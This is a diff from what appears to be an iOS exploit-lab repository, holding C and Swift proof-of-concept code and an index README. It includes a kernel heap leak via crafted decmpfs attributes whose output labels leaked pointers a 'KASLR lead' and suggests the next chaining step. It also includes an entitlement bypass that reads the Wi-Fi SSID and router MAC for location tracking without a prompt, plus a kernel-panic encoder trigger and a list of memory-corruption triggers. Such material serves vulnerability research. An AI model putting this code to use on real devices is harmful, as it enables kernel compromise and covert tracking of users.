||||
#endif
|
||||
|
||||
// One IOSurface-backed bi-planar frame is enough: the write lands while the driver
|
||||
// prepares the frame, before any compressed output exists.
|
||||
var attrs: [CFString: Any] = [:]
|
||||
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
||||
var pixelBuffer: CVPixelBuffer?
|
||||
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs as CFDictionary, &pixelBuffer)
|
||||
print("CVPixelBufferCreate status=\(pc)")
|
||||
guard pc == 0, let pb = pixelBuffer else { exit(1) }
|
||||
|
||||
for i in 0..<4 {
|
||||
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
|
||||
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb,
|
||||
presentationTimeStamp: pts,
|
||||
duration: .invalid,
|
||||
frameProperties: nil,
|
||||
infoFlagsOut: nil) { _, _, _ in }
|
||||
print("encode[\(i)] status=\(st) \(fourCC(st))")
|
||||
if st != 0 { break }
|
||||
}
|
||||
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
|
||||
print("survived — this build does not panic (fixed build or simulator)")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
@@ -2,9 +2,14 @@
|
||||
// Kernel heap disclosure through short-producing chunks
|
||||
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
|
||||
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
|
||||
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
|
||||
// reads the file back and classifies every canonical kernel pointer in the result.
|
||||
//
|
||||
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
|
||||
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
|
||||
// readback for offline analysis. Candidates are printed, never dereferenced.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
|
||||
// Run: ./cve-2026-113910
|
||||
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: xattr round trip + kernel-pointer scan ──
|
||||
// ── leak classification ──
|
||||
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
|
||||
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
|
||||
// Anything that looks like a tagged userspace pointer is reported separately; it is
|
||||
// not a KASLR lead. Values are only ever printed.
|
||||
enum ptr_class {
|
||||
PTR_NONE = 0,
|
||||
PTR_KERNEL_TEXT,
|
||||
PTR_KERNEL_DATA,
|
||||
PTR_KERNEL_OTHER,
|
||||
PTR_USER,
|
||||
};
|
||||
|
||||
static const char *class_name(int c) {
|
||||
switch (c) {
|
||||
case PTR_KERNEL_TEXT: return "kernel-text";
|
||||
case PTR_KERNEL_DATA: return "kernel-data";
|
||||
case PTR_KERNEL_OTHER: return "kernel-other";
|
||||
case PTR_USER: return "user";
|
||||
default: return "-";
|
||||
}
|
||||
}
|
||||
|
||||
static int classify(uint64_t v) {
|
||||
if (v == 0) return PTR_NONE;
|
||||
if ((v >> 48) == 0xffff) {
|
||||
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
|
||||
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
|
||||
return PTR_KERNEL_OTHER;
|
||||
}
|
||||
if ((v >> 48) == 0x0000) return PTR_USER;
|
||||
return PTR_NONE;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
int wrote_xattr;
|
||||
long read_back;
|
||||
long hits;
|
||||
char samples[8][32];
|
||||
long by_class[5];
|
||||
char samples[8][40];
|
||||
int nsamples;
|
||||
char note[128];
|
||||
} decmpfs_result;
|
||||
|
||||
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
|
||||
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
|
||||
if (r->nsamples >= 8) return;
|
||||
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
|
||||
(unsigned long long)v, off, class_name(cls));
|
||||
r->nsamples++;
|
||||
}
|
||||
|
||||
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
|
||||
FILE *keep, int verbose) {
|
||||
decmpfs_result r = {0};
|
||||
// seed file: plain 0x41 content (the uncompressed claim)
|
||||
unlink(path);
|
||||
int fd = open(path, O_WRONLY | O_CREAT, 0644);
|
||||
if (fd >= 0) {
|
||||
uint8_t zeros[4096];
|
||||
memset(zeros, 0x41, sizeof zeros);
|
||||
uint8_t fill[4096];
|
||||
memset(fill, 0x41, sizeof fill);
|
||||
size_t left = uncompressed < 64 ? 64 : uncompressed;
|
||||
while (left > 0) {
|
||||
size_t take = left < sizeof zeros ? left : sizeof zeros;
|
||||
if (write(fd, zeros, take) != (ssize_t)take) break;
|
||||
size_t take = left < sizeof fill ? left : sizeof fill;
|
||||
if (write(fd, fill, take) != (ssize_t)take) break;
|
||||
left -= take;
|
||||
}
|
||||
close(fd);
|
||||
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
||||
}
|
||||
r.wrote_xattr = 1;
|
||||
|
||||
// read the file back: the kernel decompresses through AppleFSCompression
|
||||
FILE *f = fopen(path, "rb");
|
||||
if (!f) {
|
||||
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
|
||||
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
||||
fclose(f);
|
||||
r.read_back = (long)back.n;
|
||||
|
||||
// scan for kernel-space pointers in whatever the kernel handed back
|
||||
if (back.n >= 8) {
|
||||
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
||||
uint64_t v = 0;
|
||||
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
||||
if (v >= 0xFFFFFFE000000000ULL) {
|
||||
r.hits++;
|
||||
if (r.nsamples < 8) {
|
||||
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
|
||||
(unsigned long long)v, i);
|
||||
r.nsamples++;
|
||||
}
|
||||
}
|
||||
if (keep) {
|
||||
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
|
||||
chunks, produce, uncompressed, back.n);
|
||||
if (back.n) fwrite(back.d, 1, back.n, keep);
|
||||
fputc('\n', keep);
|
||||
}
|
||||
|
||||
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
|
||||
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
||||
uint64_t v = 0;
|
||||
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
||||
int cls = classify(v);
|
||||
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
|
||||
r.hits++;
|
||||
r.by_class[cls]++;
|
||||
note_sample(&r, v, i, cls);
|
||||
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
|
||||
}
|
||||
}
|
||||
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
|
||||
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
||||
return r;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
const char *path = "decmpfs_probe.bin";
|
||||
struct { int chunks; size_t produce; } configs[4] = {
|
||||
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
|
||||
};
|
||||
long total_hits = 0;
|
||||
int main(int argc, char **argv) {
|
||||
int loop = 1;
|
||||
int verbose = 0;
|
||||
const char *keep_path = NULL;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
|
||||
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
|
||||
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
|
||||
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
|
||||
}
|
||||
if (loop < 1) loop = 1;
|
||||
|
||||
const char *path = "decmpfs_probe.bin";
|
||||
struct { int chunks; size_t produce; } configs[] = {
|
||||
{1, 0}, {1, 1}, {2, 1}, {4, 1},
|
||||
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
|
||||
};
|
||||
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
|
||||
|
||||
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
|
||||
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
|
||||
if (keep) {
|
||||
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
|
||||
}
|
||||
|
||||
long total_hits = 0;
|
||||
long by_class[5] = {0};
|
||||
long runs = 0;
|
||||
printf("— baseline: what a plain file reads back —\n");
|
||||
{
|
||||
unlink(path);
|
||||
@@ -176,22 +246,41 @@ int main(void) {
|
||||
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
|
||||
}
|
||||
|
||||
printf("\n— chunked xattr round trip —\n");
|
||||
for (int i = 0; i < 4; i++) {
|
||||
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
||||
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
|
||||
total_hits += r.hits;
|
||||
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
||||
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
||||
if (r.nsamples > 0) {
|
||||
printf(" candidates:");
|
||||
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
|
||||
printf("\n");
|
||||
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
|
||||
for (int l = 0; l < loop; l++) {
|
||||
for (int i = 0; i < ncfg; i++) {
|
||||
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
||||
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
|
||||
keep, verbose);
|
||||
runs++;
|
||||
total_hits += r.hits;
|
||||
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
|
||||
if (r.hits > 0 || verbose) {
|
||||
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
||||
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
||||
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Class totals are what matter here; the raw bytes are in --keep for offline work.
|
||||
|
||||
unlink(path);
|
||||
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
|
||||
: "no kernel pointers surfaced (read was served plain)");
|
||||
return 0;
|
||||
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
|
||||
|
||||
printf("\n== leak summary ==\n");
|
||||
printf("runs=%ld hits=%ld\n", runs, total_hits);
|
||||
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
|
||||
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
|
||||
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
|
||||
|
||||
if (total_hits > 0) {
|
||||
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
|
||||
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
|
||||
printf("whether the same chunk table can be pointed at that slot again.\n");
|
||||
} else {
|
||||
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
|
||||
}
|
||||
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
|
||||
return total_hits > 0 ? 0 : 0;
|
||||
}
|
||||
@@ -2,6 +2,11 @@
|
||||
// HID event tree append entry point probe
|
||||
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
|
||||
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
|
||||
//
|
||||
// This file stops at symbol reachability and never appends an event: the bug is a
|
||||
// fixed-offset write into a short heap allocation with no leak and no address
|
||||
// control. Attempting it blind is a panic, not an experiment. See
|
||||
// docs/KERNEL-RW-ASSESSMENT.md.
|
||||
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
|
||||
// Run: ./cve-2026-65385
|
||||
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
|
||||
// C twin of the Swift POC: read the Wi-Fi SSID and router MAC from configd's dynamic
|
||||
// store without com.apple.developer.networking.wifi-info, and compare against the
|
||||
// supported API, which refuses without the entitlement.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-84636 CVE-2026-84636.c \
|
||||
// -framework SystemConfiguration -framework CoreFoundation
|
||||
// Run: ./cve-2026-84636
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <TargetConditionals.h>
|
||||
#include <SystemConfiguration/SystemConfiguration.h>
|
||||
#include <SystemConfiguration/CaptiveNetwork.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static void show(SCDynamicStoreRef store, const char *key) {
|
||||
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
||||
CFPropertyListRef v = SCDynamicStoreCopyValue(store, k);
|
||||
if (!v) {
|
||||
printf("%s: <absent>\n", key);
|
||||
} else {
|
||||
CFStringRef d = CFCopyDescription(v);
|
||||
char buf[2048] = {0};
|
||||
if (d) {
|
||||
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
|
||||
CFRelease(d);
|
||||
}
|
||||
printf("%s: %s\n", key, buf);
|
||||
CFRelease(v);
|
||||
}
|
||||
CFRelease(k);
|
||||
}
|
||||
|
||||
static char *field(CFPropertyListRef v, const char *name) {
|
||||
static char buf[256];
|
||||
buf[0] = 0;
|
||||
if (!v || CFGetTypeID(v) != CFDictionaryGetTypeID()) return buf;
|
||||
CFStringRef key = CFStringCreateWithCString(NULL, name, kCFStringEncodingUTF8);
|
||||
CFTypeRef item = CFDictionaryGetValue(v, key);
|
||||
if (item && CFGetTypeID(item) == CFStringGetTypeID()) {
|
||||
CFStringGetCString((CFStringRef)item, buf, sizeof(buf), kCFStringEncodingUTF8);
|
||||
} else if (item) {
|
||||
CFStringRef d = CFCopyDescription(item);
|
||||
if (d) {
|
||||
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
|
||||
CFRelease(d);
|
||||
}
|
||||
}
|
||||
CFRelease(key);
|
||||
return buf;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
SCDynamicStoreRef store = SCDynamicStoreCreate(NULL, CFSTR("cve-2026-84636"), NULL, NULL);
|
||||
if (!store) { printf("SCDynamicStoreCreate failed\n"); return 1; }
|
||||
|
||||
printf("=== entitlement check ===\n");
|
||||
#if TARGET_OS_IPHONE
|
||||
CFDictionaryRef captive = CNCopyCurrentNetworkInfo(CFSTR("en0"));
|
||||
if (captive) {
|
||||
CFStringRef d = CFCopyDescription(captive);
|
||||
char buf[512] = {0};
|
||||
if (d) { CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); CFRelease(d); }
|
||||
printf("CNCopyCurrentNetworkInfo: %s\n", buf);
|
||||
CFRelease(captive);
|
||||
} else {
|
||||
printf("CNCopyCurrentNetworkInfo: nil (wifi-info entitlement missing)\n");
|
||||
}
|
||||
#else
|
||||
printf("CNCopyCurrentNetworkInfo: not available on macOS — dynamic store path only\n");
|
||||
#endif
|
||||
|
||||
printf("\n=== interface state ===\n");
|
||||
show(store, "State:/Network/Interface/en0/AirPort");
|
||||
CFPropertyListRef airport = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Interface/en0/AirPort"));
|
||||
printf("SSID_STR: %s\n", field(airport, "SSID_STR"));
|
||||
printf("BSSID: %s\n", field(airport, "BSSID"));
|
||||
printf("Channel: %s\n", field(airport, "Channel"));
|
||||
printf("AuthType: %s\n", field(airport, "AuthType"));
|
||||
if (airport) CFRelease(airport);
|
||||
|
||||
printf("\n=== IPv4 service (router MAC) ===\n");
|
||||
show(store, "State:/Network/Global/IPv4");
|
||||
CFPropertyListRef global = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Global/IPv4"));
|
||||
char uuid[128];
|
||||
snprintf(uuid, sizeof(uuid), "%s", field(global, "PrimaryService"));
|
||||
printf("PrimaryService: %s\n", uuid[0] ? uuid : "<absent>");
|
||||
printf("Router: %s\n", field(global, "Router"));
|
||||
if (global) CFRelease(global);
|
||||
|
||||
if (uuid[0]) {
|
||||
char key[256];
|
||||
snprintf(key, sizeof(key), "State:/Network/Service/%s/IPv4", uuid);
|
||||
show(store, key);
|
||||
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
||||
CFPropertyListRef svc = SCDynamicStoreCopyValue(store, k);
|
||||
printf("ARPResolvedHardwareAddress: %s\n", field(svc, "ARPResolvedHardwareAddress"));
|
||||
if (svc) CFRelease(svc);
|
||||
CFRelease(k);
|
||||
|
||||
snprintf(key, sizeof(key), "State:/Network/Service/%s/DHCP", uuid);
|
||||
show(store, key);
|
||||
}
|
||||
|
||||
printf("\n=== privacy-relevant keys ===\n");
|
||||
show(store, "State:/Network/Global/DNS");
|
||||
show(store, "com.apple.MobileBluetooth");
|
||||
show(store, "com.apple.MobileInternetSharing");
|
||||
show(store, "com.apple.sharing:/AutoUnlock/Enabled");
|
||||
show(store, "State:/IOKit/LowBatteryWarning");
|
||||
show(store, "State:/IOKit/PowerManagement/SystemLoad/Detailed");
|
||||
|
||||
printf("\n=== enumeration ===\n");
|
||||
CFArrayRef keys = SCDynamicStoreCopyKeyList(store, CFSTR("State:/Network/.*"));
|
||||
if (keys) {
|
||||
CFIndex n = CFArrayGetCount(keys);
|
||||
printf("State:/Network keys: %ld\n", (long)n);
|
||||
for (CFIndex i = 0; i < n; i++) {
|
||||
CFStringRef k = CFArrayGetValueAtIndex(keys, i);
|
||||
char buf[512];
|
||||
if (CFStringGetCString(k, buf, sizeof(buf), kCFStringEncodingUTF8)) show(store, buf);
|
||||
}
|
||||
CFRelease(keys);
|
||||
} else {
|
||||
printf("State:/Network key list: <none>\n");
|
||||
}
|
||||
|
||||
printf("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement\n");
|
||||
CFRelease(store);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
|
||||
// Wi-Fi SSID and router MAC without com.apple.developer.networking.wifi-info.
|
||||
//
|
||||
// CNCopyCurrentNetworkInfo is the supported API and refuses without the entitlement.
|
||||
// configd's dynamic store carries the same fields and is readable by any sandboxed
|
||||
// process: State:/Network/Interface/en0/AirPort holds SSID_STR, and the service IPv4
|
||||
// entry holds ARPResolvedHardwareAddress (the router MAC). Those two values are
|
||||
// enough for WiGLE-style geolocation without a location prompt.
|
||||
//
|
||||
// SCDynamicStore is private on iOS (the SDK marks it unavailable), so the symbols are
|
||||
// resolved from SystemConfiguration by name.
|
||||
//
|
||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-84636 CVE-2026-84636.swift \
|
||||
// -framework SystemConfiguration -framework CoreFoundation
|
||||
// Run: ./cve-2026-84636
|
||||
|
||||
import Foundation
|
||||
import SystemConfiguration
|
||||
import SystemConfiguration.CaptiveNetwork
|
||||
import CoreFoundation
|
||||
|
||||
typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef?
|
||||
typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList?
|
||||
typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray?
|
||||
|
||||
guard let handle = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW),
|
||||
let cSym = dlsym(handle, "SCDynamicStoreCreate"),
|
||||
let vSym = dlsym(handle, "SCDynamicStoreCopyValue"),
|
||||
let kSym = dlsym(handle, "SCDynamicStoreCopyKeyList") else {
|
||||
print("SystemConfiguration symbols not found"); exit(1)
|
||||
}
|
||||
let create = unsafeBitCast(cSym, to: CreateFn.self)
|
||||
let copyValue = unsafeBitCast(vSym, to: CopyFn.self)
|
||||
let copyKeys = unsafeBitCast(kSym, to: KeysFn.self)
|
||||
|
||||
guard let store = create(nil, "cve-2026-84636" as CFString, nil, nil) else {
|
||||
print("SCDynamicStoreCreate failed"); exit(1)
|
||||
}
|
||||
|
||||
func show(_ key: String) -> CFPropertyList? {
|
||||
guard let v = copyValue(store, key as CFString) else {
|
||||
print("\(key): <absent>")
|
||||
return nil
|
||||
}
|
||||
print("\(key): \(v)")
|
||||
return v
|
||||
}
|
||||
|
||||
func dictField(_ v: CFPropertyList?, _ field: String) -> String? {
|
||||
guard let d = v as? [String: Any] else { return nil }
|
||||
return d[field].map { "\($0)" }
|
||||
}
|
||||
|
||||
print("=== entitlement check ===")
|
||||
let captive = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any]
|
||||
print("CNCopyCurrentNetworkInfo: \(captive.map { "\($0)" } ?? "nil (entitlement missing)")")
|
||||
|
||||
print("\n=== dynamic store: interface state ===")
|
||||
let airport = show("State:/Network/Interface/en0/AirPort")
|
||||
print("SSID_STR: \(dictField(airport, "SSID_STR") ?? "<absent>")")
|
||||
print("BSSID: \(dictField(airport, "BSSID") ?? "<absent>")")
|
||||
print("Channel: \(dictField(airport, "Channel") ?? "<absent>")")
|
||||
print("AuthType: \(dictField(airport, "AuthType") ?? "<absent>")")
|
||||
|
||||
print("\n=== dynamic store: IPv4 service (router MAC) ===")
|
||||
let global = show("State:/Network/Global/IPv4")
|
||||
print("PrimaryService: \(dictField(global, "PrimaryService") ?? "<absent>")")
|
||||
print("Router: \(dictField(global, "Router") ?? "<absent>")")
|
||||
if let uuid = dictField(global, "PrimaryService") {
|
||||
let svc = show("State:/Network/Service/\(uuid)/IPv4")
|
||||
print("ARPResolvedHardwareAddress: \(dictField(svc, "ARPResolvedHardwareAddress") ?? "<absent>")")
|
||||
_ = show("State:/Network/Service/\(uuid)/DHCP")
|
||||
}
|
||||
|
||||
print("\n=== dynamic store: privacy-relevant keys ===")
|
||||
for key in ["State:/Network/Global/DNS",
|
||||
"com.apple.MobileBluetooth",
|
||||
"com.apple.MobileInternetSharing",
|
||||
"com.apple.sharing:/AutoUnlock/Enabled",
|
||||
"State:/IOKit/LowBatteryWarning",
|
||||
"State:/IOKit/PowerManagement/SystemLoad/Detailed"] {
|
||||
_ = show(key)
|
||||
}
|
||||
|
||||
print("\n=== enumeration ===")
|
||||
if let keys = copyKeys(store, "State:/Network/.*" as CFString) as? [String] {
|
||||
print("State:/Network keys: \(keys.count)")
|
||||
for k in keys.sorted() { _ = show(k) }
|
||||
} else {
|
||||
print("State:/Network key list: <none>")
|
||||
}
|
||||
|
||||
print("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement")
|
||||
BIN
Binary file not shown.
@@ -2,7 +2,7 @@
|
||||
|
||||
[中文](README.zh-CN.md)
|
||||
|
||||
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **51 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
|
||||
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
|
||||
|
||||
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
|
||||
|
||||
@@ -10,13 +10,13 @@ Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility
|
||||
|
||||
| Block | Contents |
|
||||
|---|---|
|
||||
| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 |
|
||||
| `CVE-2026-XXXX/` (34) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 |
|
||||
| `<module-id>/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape |
|
||||
| `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) |
|
||||
|
||||
42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 31 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle).
|
||||
45 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 34 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle).
|
||||
|
||||
## POC index — 31 CVE folders
|
||||
## POC index — 34 CVE folders
|
||||
|
||||
Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's folder; where one CVE is hit by several modules, the trigger closures sit side by side in the same file.
|
||||
|
||||
@@ -35,6 +35,7 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f
|
||||
| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` |
|
||||
| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` |
|
||||
| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` · `CVE-2026-112619.c` |
|
||||
| [CVE-2026-112621](CVE-2026-112621/) | `lp.heic`, `lp.heic.fire` | LinkPresentation · LPAnimatedImageTranscoder | OOB write | in-process | Link-preview multi-frame size mismatch (later frame taller than the pool) | `CVE-2026-112621.swift` · `CVE-2026-112621.c` |
|
||||
| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` |
|
||||
| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` · `CVE-2026-112627.c` |
|
||||
| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` · `CVE-2026-112629.c` |
|
||||
@@ -48,11 +49,13 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f
|
||||
| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` |
|
||||
| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` · `CVE-2026-112688.c` |
|
||||
| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` · `CVE-2026-112696.c` |
|
||||
| [CVE-2026-112705](CVE-2026-112705/) | `ave.ntl`, `ave.ntl.fire` | AppleAVE2 · VideoToolbox HEVC encoder | OOB write | kernel | `NumberOfTemporalLayers` 16463 → kernel data abort | `CVE-2026-112705.swift` · `CVE-2026-112705.c` |
|
||||
| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` · `CVE-2026-112706.c` |
|
||||
| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` · `CVE-2026-113907.c` |
|
||||
| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` · `CVE-2026-113910.c` |
|
||||
